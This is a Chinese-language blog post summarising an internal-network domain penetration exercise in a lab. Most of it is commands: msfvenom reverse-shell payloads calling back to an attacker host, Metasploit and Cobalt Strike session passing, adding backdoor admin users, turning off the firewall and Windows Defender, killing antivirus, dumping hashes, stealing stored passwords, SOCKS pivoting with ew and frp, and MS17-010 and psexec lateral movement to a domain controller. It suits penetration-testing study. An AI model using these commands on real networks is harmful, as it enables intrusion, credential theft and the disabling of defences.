<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網域滲透分析(實戰總結)

    VSole2022-08-08 06:41:18

    一、測試環境搭建

    靶場常見的網絡拓撲環境如下:

    web 服務器安裝有雙網卡,一塊網卡連接互聯網,一塊網卡連接內網,內網里的機器是無法直接連接互聯網的。我們使用 vmware 來模擬上述環境,配置網卡如下:

    我們甚至還可將 web 服務器的上網網卡 NAT 改為自定義 VMnet3,將攻擊機的網卡也改為 VMnet3,這樣的好處是整個滲透測試過程既保證了網絡都是通的,又保證了 ip 不會發生變化,利于我們持續的作滲透,ip 自定義為我們便于記憶數字,提高我們的效率。(有時候 6 個以上虛擬機同時開著,時不時忘了 ip 又得來回切換真的很痛苦)

    二、如何拿下 web 服務器

    搭建好測試環境后,第一步是開始對 web 服務器進行滲透。因為 web 服務器同時連接了外網和內網,所以必須首先拿下。這里有關 web 服務器的滲透不展開講了,無非也就是利用漏洞,諸如:弱口令、上傳漏洞、遠程代碼執行、各種 cms 漏洞,總之都是可以找到寫入 webshell 的方法。對于靶場來說,最直接的方法就是查找網站的指紋,然后去找對應的漏洞進行利用。成功寫入 webshell 后,接著就要上傳木馬控制 web 服務器,這里可以用 Metasploit(以下簡稱:MSF)或 Cobaltstrike(以下簡稱 CS)。

    用 nmap 掃描下端口還是很必要的:

    nmap -sS -n -A 192.168.167.130

    效果還是很不錯的,雖然 web 服務器的防火墻和 360 都是開著的;

    1、MSF 生成木馬控制服務器的方法

    我們以 windows 木馬為例進行講解:

    root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.164.134  LPORT=4444 -f exe > shell.exe
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 192.168.164.134
    set lport 4444
    exploit
    

    復制代碼

    meterpreter 的進入與退出:

    常規動作先提權;

    執行run post/windows/manage/enable_rdp模塊來打開遠程桌面;

    2、CS 生成木馬控制服務器的方法

    啟動 CS 服務器端:

    啟動 CS 客戶端:

    配置好監聽器:

    生成后門、上傳、執行一氣呵成;

    成功連接,由于受害機默認 60 秒進行一次回傳,為了實驗效果我們這里把時間設置成 1,sleep 1;

    CS 安裝插件,擴展其功能:

    提權成功,可看到多出一個通道:

    3、MSF 與 CS 會話互通

    因為兩個工具不同的特點,想同時使用也是可以的,只需要進行下會話互傳。

    (1)MSF 派生給 CS

    先創建監聽器:

    打開 msf,使用 payload_inject 模塊注入到 cobalt strike,注意使用的 payload 要和 cs 的一致為 reverse_http,因為 cs 監聽的是 reverse_http。

    meterpreter > background
    msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject      # 設置與cs相同的payload;
    msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http  
    msf5 exploit(windows/local/payload_inject) > set lhost 192.168.10.128
    msf5 exploit(windows/local/payload_inject) > set lport 4444     # 設置剛才獲得session
    msf5 exploit(windows/local/payload_inject) > set session 1
    msf5 exploit(windows/local/payload_inject) > set disablepayloadhandler true
    msf5 exploit(windows/local/payload_inject) > run
    

    復制代碼

    (2)CS 派生給 MSF

    這里進行一個操作,將會話分給 msf 一個;

    msf如下操作:
    msf > use exploit/multi/handler
    msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf exploit(handler) > set lhost 192.168.164.134
    lhost => 192.168.164.134
    msf exploit(handler) > set lport 5555
    lport => 5555
    msf exploit(handler) > exploit
    

    復制代碼

    CS 這邊先新增監聽器,然后選增加會話,即 spawn:

    成功后:

    二、內網的橫向移動

    打入內網后,首先要進行的就是信息收集,弄清楚內網有哪些網段,域控是哪個,域用戶有哪些等重要信息,為后續的滲透提供支持。

    1、內網信息收集

    (1)dos 命令的方式

    先進行基本信息的收集:在提權成功的情況下,以 system 的身份來運行下列命令,大部分都有回顯,不會報錯;

    ipconfig /all   查看本機ip,所在域
    route print     打印路由信息
    net view        查看局域網內其他主機名
    arp -a          查看arp緩存
    net start       查看開啟了哪些服務
    net share       查看開啟了哪些共享
    net share ipc$  開啟ipc共享
    net share c$    開啟c盤共享
    net use \\192.168.xx.xx\ipc$ "" /user:""   與192.168.xx.xx建立空連接
    net use \\192.168.xx.xx\c$ "密碼" /user:"用戶名"  建立c盤共享
    dir \\192.168.xx.xx\c$\user    查看192.168.xx.xx c盤user目錄下的文件  
    net config Workstation   查看計算機名、全名、用戶名、系統版本、工作站、域、登錄域
    net user                 查看本機用戶列表
    net time /domain        #查看時間服務器,判斷主域,主域服務器都做時間服務器
    net user /domain         查看域用戶
    net localgroup administrators   查看本地管理員組(通常會有域用戶)
    net view /domain         查看有幾個域
    net user 用戶名 /domain   獲取指定域用戶的信息
    net group /domain        查看域里面的工作組,查看把用戶分了多少組(只能在域控上操作)
    net group 組名 /domain    查看域中某工作組
    net group "domain admins" /domain  查看域管理員的名字
    net group "domain computers" /domain  查看域中的其他主機名
    net group "doamin controllers" /domain  查看域控制器(可能有多臺)
    

    復制代碼

    滲透過程中可能用到的 dos 命令也在這一并講了:

    net user hack hack123 /add
    net localgroup administrator hack /add
    net localgroup "Remote Desktop Users" hack /add
    開啟3389;
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    netsh advfirewall set allprofiles state off        #關閉防火墻
    net stop windefend
    

    復制代碼

    (2)MSF 模塊信息收集

    抓取密碼的方法:

    ps 命令查看進程 ID,一般選擇 explorer.exe 對應的 PID:

    探測域內存活主機:

    域控列表:

    所有存活主機:

    更多的就不一一演示和截圖了,以列表的方式提供給大家,在實際滲透中靈活選用:

    Post 后滲透模塊

    run post/windows/manage/migrate           #自動進程遷移
    run post/windows/gather/checkvm           #查看目標主機是否運行在虛擬機上
    run post/windows/manage/killav            #關閉殺毒軟件
    run post/windows/manage/enable_rdp        #開啟遠程桌面服務
    run post/windows/manage/autoroute         #查看路由信息
    run post/windows/gather/enum_logged_on_users    #列舉當前登錄的用戶
    run post/windows/gather/enum_applications       #列舉應用程序
    run post/windows/gather/credentials/windows_autologin #抓取自動登錄的用戶名和密碼
    run post/windows/gather/smart_hashdump               #dump出所有用戶的hash
    run getgui -u hack -p 123
    run post/windows/gather/enum_patches   補丁信息
    run  post/multi/recon/local_exploit_suggester   查詢可利用的漏洞
    有時候無法使用后滲透模塊添加用戶
    可以使用shell自主添加
    net user hack Zyx960706 /add
    net localgroup administrator hack /add
    netsh advfirewall set allprofiles state off        #關閉防火墻
    net stop windefend
    run post/windows/gather/enum_patches   補丁信息
    run  post/multi/recon/local_exploit_suggester   查詢可利用的漏洞
    

    復制代碼

    域內存活主機探測(系統、端口)

    auxiliary/scanner/discovery/udp_sweep    #基于udp協議發現內網存活主機
    auxiliary/scanner/discovery/udp_probe    #基于udp協議發現內網存活主機
    auxiliary/scanner/netbios/nbname         #基于netbios協議發現內網存活主機
    auxiliary/scanner/portscan/tcp           #基于tcp進行端口掃描(1-10000),如果開放了端口,則說明該主機存活
    

    復制代碼

    端口掃描

    auxiliary/scanner/portscan/tcp           #基于tcp進行端口掃描(1-10000)
    auxiliary/scanner/portscan/ack           #基于tcp的ack回復進行端口掃描,默認掃描1-10000端口
    端口掃描有時會使會話終端,所以可以上傳nmap后在shell中使用nmap掃描。但是要記得清理
    

    復制代碼

    服務掃描

    auxiliary/scanner/ftp/ftp_version        #發現內網ftp服務,基于默認21端口
    auxiliary/scanner/ssh/ssh_version        #發現內網ssh服務,基于默認22端口
    auxiliary/scanner/telnet/telnet_version  #發現內網telnet服務,基于默認23端口
    auxiliary/scanner/dns/dns_amp            #發現dns服務,基于默認53端口
    auxiliary/scanner/http/http_version      #發現內網http服務,基于默認80端口
    auxiliary/scanner/http/title             #探測內網http服務的標題
    auxiliary/scanner/smb/smb_version        #發現內網smb服務,基于默認的445端口   
    use auxiliary/scanner/mssql/mssql_schemadump  #發現內網SQLServer服務,基于默認的1433端口
    use auxiliary/scanner/oracle/oracle_hashdump  #發現內網oracle服務,基于默認的1521端口
    auxiliary/scanner/mysql/mysql_version    #發現內網mysql服務,基于默認3306端口
    auxiliary/scanner/rdp/rdp_scanner        #發現內網RDP服務,基于默認3389端口
    auxiliary/scanner/redis/redis_server     #發現內網Redis服務,基于默認6379端口
    auxiliary/scanner/db2/db2_version        #探測內網的db2服務,基于默認的50000端口
    auxiliary/scanner/netbios/nbname         #探測內網主機的netbios名字
    

    復制代碼

    (3)CS 模塊進行信息收集

    使用 portscan 命令:ip 網段 — ports 端口 — 掃描協議(arp、icmp、none)— 線程(實戰不要過高)。

    portscan 192.168.52.0/24 445 arp 200

    點擊工具欄的 View–>Targets,查看端口探測后的存活主機。(Targets 可自行添加)

    抓密碼:

    這里再介紹一個收集密碼工具-LaZagne,每個軟件都使用不同的技術(純文本,API,自定義算法,數據庫等)存儲其密碼,這個工具是用來獲取存儲在本地計算機上的密碼,諸如瀏覽器密碼等等。

    2、代理的設置

    發現目標后,為方便后續工具的使用,需要先搭建代理,將 web 服務器搭建成 socks5 代理服務器,內網滲透里先把網調通是最關鍵的,所以下面會多講點代理的問題;

    (1)meterpreter 搭建反向 socks4 代理

    run get_local_subnets  #查看路由段
    run autoroute -s 192.168.52.0/24   #添加路由至本地
    run autoroute -p  #打印當前路由信息
    

    復制代碼

    退出來連接同樣是存在的,可以放心操作;

    添加路由的目的是為了讓 MSF 其他模塊能訪問內網的其他主機,即 52 網段的攻擊流量都通過已滲透的這臺目標主機的 meterpreter 會話來傳遞。

    添加 socks4a 代理的目的是為了讓其他軟件更方便的訪問到內網的其他主機的服務。(添加路由一定要在掛代理之前,因為代理需要用到路由功能)

    編輯本地的代理服務:

    vim /etc/proxychains.conf

    測試一下:

    proxychains nmap -p 1-1000 -Pn -sT 192.168.52.141 # -Pn和-sT必須要有

    proxychains是無法代理icmp流量的,所以ping是沒有用的。

    補充一個meterpreter反彈單個端口的用法:

    portfwd 是 meterpreter 提供的一種基本的端口轉發。porfwd 可以反彈單個端口到本地,并且監聽.使用方法如下:

    meterpreter > portfwd  -h
    Usage: portfwd [-h] [add | delete | list | flush] [args]
    OPTIONS:
        -L <opt>  The local host to listen on (optional).
        -h        Help banner.
        -l <opt>  The local port to listen on.
        -p <opt>  The remote port to connect to.
        -r <opt>  The remote host to connect to.
    

    復制代碼

    使用實例介紹:

    反彈 10.1.1.129 端口 3389 到本地 2222 并監聽那么可以使用如下方法:

    meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389
    [*] Local TCP relay created: 0.0.0.0:2222 <-> 10.1.1.129:3389
    meterpreter > portfwd
    0: 0.0.0.0:2222 -> 10.1.1.129:3389
    1 total local port forwards.
    

    復制代碼

    接著連接本地 2222 端口即可連接受害機器 10.1.1.129 3389 端口,如下:

    root@kali:~# rdesktop 127.1.1.0:2222

    (2)ew、frp 搭建代理

    了解清楚代理的原理之后,還可以用第三方的軟件來試試,比如 ew,frp;

    在這里把 kali 的攻擊機可以理解為公網,web 服務器那臺理解為內網,下面以 ew 測試:

    kali:./ew_for_linux64 -s rcsocks -l 1080 -e 1024 &

    該命令的意思是說公網機器監聽 1080 和 1024 端口。等待攻擊者機器訪問 1080 端口,目標機器訪問 1024 端口。

    目標機器執行如下命令:

    win7:ew.exe -s rssocks -d 192.168.164.134 -e 1024

    修改 kali 里 proxychains 的配置文件/etc/c.conf:

    上面的配置完后,可以開始測試了:

    利用 frp 搭建 socks 代理

    上傳 frp 客戶端及配置文件到目標機器:

    啟動客戶端:

    實踐當中多用反向代理,正向的容易被防火墻攔住,所以都是將程序的服務器端架在公網,客戶端在內網,做橫向移動。

    (3)CS 搭建代理

    CS 添加一個代理:建立了一條由攻擊機到 web 服務器的 socks 通道,socks 的服務端在攻擊機,也是反向代理;

    View > Proxy Pivots 復制代理鏈接到 MSF 中;

    msf5 > setg Proxies socks4/5:ip:port #讓msf所有模塊的流量都通過此代理走。(setg全局設置)
    msf5 > setg ReverseAllowProxy true #允許反向代理,通過socks反彈shell,建立雙向通道。
    

    復制代碼

    這里 ip 需要修改為 CS 服務器的 ip。

    3、域成員和域控的滲透

    (1)MSF 的利用

    開放了 445 端口,所以利用 use auxiliary/scanner/smb/smb_version 可以掃描系統版本,掃描結果是 win2003;

    ms08-067 沒打下來,可以用 use auxiliary/admin/smb/ms17_010_command 執行一些系統權限的命令,添加管理員用戶嘗試 3389 登錄;

    use auxiliary/admin/smb/ms17_010_command
    show options
    set rhosts 192.168.52.141
    set command net user test hongrisec@2019 /add #添加用戶
    run #成功執行
    set command net localgroup administrators test /add #管理員權限
    run #成功執行
    set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
    run #成功執行
    

    復制代碼

    遠程連接一下:

    還可以使用 exploit/windows/smb/ms17_010_psexec 嘗試去打一個 shell 回來:

    use exploit/windows/smb/ms17_010_psexec
    set rhosts 192.168.52.141
    set payload windows/meterpreter/bind_tcp
    set lhost 192.168.164.134
    set lport 6666
    set SMBPass hongrisec@2019
    set SMBUser test
    run
    

    復制代碼

    因為之前抓到了域管理的賬號密碼所以直接使用 exploit/windows/smb/psexec 模塊拿下域控,且是管理員權限;

    還可以使用的模塊有:

    exploit/windows/smb/ms17_010_eternalblue
    exploit/windows/smb/psexec_psh
    exploit/windows/smb/eternalblue_doublepulsar
    

    復制代碼

    msf 木馬穿透內網

    用 msf 生成一個內網的木馬,此處內網 ip10 段是不能直接連接 192 段的;將木馬種在內網 10 段的機器上;

    PC 服務器內網 IP;

    web 服務器雙網卡;

    root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.80  LPORT=6677 -f exe > 444.exe
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 192.168.167.131
    set lport 7777
    exploit
    

    復制代碼

    在 web 服務器用 lcx 工具執行端口轉發:

    在 PC 端運行木馬,然后成功回連;

    還可以用 msf 自帶的通道,將路由添加上,其實就已經是通的了;

    run get_local_subnets  #查看路由段
    run autoroute -s 10.10.10.0/24   #添加路由至本地
    run autoroute -p  #打印當前路由信息
    

    復制代碼

    借用的是 session 3 的通道,而 session 3 是雙網卡,能通內網的;

    root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.80  LPORT=6677 -f exe > 444.exe
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 10.10.10.80
    set lport 6677
    exploit
    

    復制代碼

    在這里復用 exploit/multi/handler 模塊,進行重新設置是可以的,將端口分開使用不要重復;

    運行程序后成功上線:兩個會話同時存在,沒有沖突;

    (2)CS 的利用

    獲取憑據后,可以利用 psexec 傳遞登錄;

    在 Beacon 中可以看到執行的命令,并會顯示成功登錄的 ip,之后就便會上線 CobalStrike。這樣就控制了多個主機的系統權限。

    因為 CS 的 smb 的 beacon 不穩定,所以考慮作個代理;CS 代理功能很強大,直接帶的有;

    對于域成員,還可以使用 psexec_psh;

    至此,整個總結就告一段落了,主要還是集中在了 MSF、CS 工具的熟練運用,代理的靈活變通,域滲透的基本思路及方法。有關域滲透更多的諸如黃金票據、白銀票據的偽造,權限維持等更高階的內容,將在今后繼續深入探討。

    端口轉發web代理
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    啟動網絡擴展功能以后,移動辦公設備與虛擬網關之間會建立一條SSL VPN隧道,移動辦公設備從虛擬網關地址池中獲得一個私網IP地址,用于訪問內網資源。虛擬網關解封裝以后,再查找路由和安全策略,發送給服務器端。圖 2 網絡擴展業務交互流程因此,首先要允許移動辦公用戶通過HTTPS登錄虛擬網關,建立SSL隧道。根據客戶端配置,SSL隧道可能使用TCP 443端口或者UDP 443端口
    本文以滲透的視角,總結幾種個人常用的內網穿透,內網代理工具,介紹其簡單原理和使用方法。nps-npc簡介nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。目前支持 tcp、udp 流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,并帶有功能強大的web管理端。
    本文以滲透的視角,總結幾種個人常用的內網穿透,內網代理工具,介紹其簡單原理和使用方法。 1.1 簡介 nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。目前支持tcp、udp流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,并帶有功能強大的web管理端。
    0x00 前言本文以滲透的視角,總結幾種個人常用的內網穿透,內網代理工具,介紹其簡單原理和使用方法。0x01 nps-npc1.1 簡介nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。目前支持tcp、udp流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,并帶有功能強大的web管理端。
    nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。目前支持tcp、udp流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,并帶有功能強大的web管理端。
    目前支持tcp、udp流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,并帶有功能強大的web管理端。
    SMB協議可在互聯網的TCP/IP協議或者互聯網數據包交換和NetBEUI等協議之上使用。使用SMB協議,應用程序可訪問遠程服務器的文件以及打印機、信槽和命名管道等資源。RemoveLegacyFolder就是采用思路2來移除經典路徑..\的,向前搜索的過程存在風險,并且對其邊界檢查無效,從而導致了緩沖區溢出的產生。
    z1234是一個報名頁面,測試時已經過了報名日期,被停用,空有一個登陸頁面。沒有域,但是每臺都有殺毒軟件。這個Hash沒能解密成功。有殺軟添加賬戶不方便,沒有賬戶密碼的話跑起TV來也是黑屏。有AV條件下添加用戶可以參考https://xz.aliyun.com/t/4078, 有密碼可以把端口轉發到公網,也可以上傳TeamViewer去遠程連接,轉發什么的都省了。這里最終打到一個03的服務器,激活Guest空口令登陸。Windows server 2003默認允許空口令登陸。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类